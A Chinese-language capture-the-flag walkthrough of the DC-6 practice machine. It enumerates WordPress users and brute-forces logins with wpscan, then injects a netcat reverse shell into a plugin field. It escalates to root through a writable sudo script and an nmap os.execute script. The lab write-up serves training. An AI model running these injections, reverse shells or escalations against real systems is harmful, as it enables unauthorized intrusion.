一、搭建環境
kali充當攻擊機 ip地址是:192.168.200.14
DC-6充當靶機 : IP地址暫時未知
注意:讓兩臺機器的使用同一種網絡適配器
二、信息收集
1.探索同網段存活的主機、
①第一種方法
arp-scan -l
②第二種方法
netdiscover -i eth0 -r 192.168.200.0/24
③第三種方法
nmap -sP 192.168.200.0/24 -T4
2、開放端口信息
nmap -sS -A 192.168.200.7 -p 1-65535
80端口和22端口開放,登錄網頁
應該是被重定向,在kali當中找到hosts文件,將192.168.200.7 wordy的關系寫入進去
刷新網頁后,看到網頁使用的是wordpress cms+
該靶機的CMS系統為wordpress5.1.1
根據CMS版本思路:
第一:利用目錄掃描工具尋找該CMS的后臺管理系統,然后再爆破密碼和賬號,進入后臺管理系統尋找可利用的點。
利用kali工具dirb,發現后臺目錄
dirb http://192.168.200.7/
后臺界面
3、后臺爆破
繼續爆破賬號密碼,使用針對該CMS的賬號爆破工具wpscan,猜解密碼:
wpscan --url http://wordy -e u
#指定url,枚舉其中的用戶名
將以上用戶名保存在一個新的文件當中,user.txt
cewl根據本文生成密碼,然后再利用爆破工具暴力破解
提示信息
提示用kali自帶的字典rockyou.txt導出包含k01的密碼導出來的字典爆破(沒解壓的先解壓,我之前解壓過了)
cat /usr/share/wordlists/rockyou.txt | grep k01 > pwd.txt
賬號和密碼都有了開始爆破
wpscan --url wordy -U user.txt -P pwd.txt
賬號:**mark **
密碼:helpdesk01
第二:在網絡上搜索該版本的漏洞,或使用searchsploit,msfconsole等工具尋找漏洞及利用方法。
登陸后臺
三、漏洞探測
這里尋找到兩個線索,
第一:該網站使用了activity monitor工具。
第二,在activity monitor目錄的tools一欄存在可注入的點
根據這兩個線索,本文又有兩個思路:
第一:既然會回傳用戶的輸入到后臺解析,那么是否可以修改數據包達到我們的目的呢?可以利用BP抓包測試。
第二:利用前文提到的漏洞掃描工具對activity monitor進行掃描,尋找歷史漏洞。
利用第一個思路,輸入qquhu.com,點擊lookup
BURP抓包測試,發現管道符后面的whoami運行了。說明此處存在漏洞。.
反彈shell
利用該漏洞反彈一個shell。
首先在kali虛擬機上開啟監聽
nc -lvvp 6666
將包改成 qq.com | nc -e /bin/bash 192.168.200.14 6666 # kali的IP地址
執行成功
利用python開啟交互模式。輸入命令
python -c 'import pty;pty.spawn("/bin/bash")'
打開home目錄,查找新的線索:
在mark目錄下存在一個things-to-do文件,發現了graham的賬號密碼
然后登陸graham的賬號密碼,登陸失敗,該靶機還開啟了22端口因此嘗試ssh登錄。
ssh graham@192.168.200.7
提權
sudo -l #嘗試sudo -l j免密登錄
User graham may run the following commands on dc-6:(jens) NOPASSWD: /home/jens/backups.sh
# 看看當前用戶擁有的權限,可以對backups.sh執行寫操作cd /home/jens
# 寫入/bin/bash,執行,切換到jens的shell
echo "/bin/bash" >> backups.sh
sudo -u jens ./backups.sh
# 發現可以以root權限執行nmapsudo -l
User jens may run the following commands on dc-6:(root) NOPASSWD: /usr/bin/nmap
#發現可以用root權限執行nmap,nmap在早期版本是可以用來提權的將提權代os.execute("/bin/sh")
寫入一個文件中。echo "os.execute('/bin/bash')" > getshell
sudo nmap --script=getshell
進入/home/jens目錄,打開backups.sh文件,里面是一個壓縮命令行,說明該文件可以運行。
可以在該文件中添加/bin/bash語句,則可以打開jens的shell了。
echo '/bin/bash' >> backups.sh #在文件中添加命令行
sudo ./backups.sh #運行失敗,因為此時是graham喲用戶
sudo -u jens ./backups.sh #-u 指定用戶
jens可以免密碼運行root權限nmap,nmap可以運行文件
nmap提權:以root的權限用nmap執行這個腳本,打開root shell的文件,再讓nmap執行
echo "os.execute('/bin/bash')" > getshell
sudo nmap --script=getshell
在root目錄下發現flag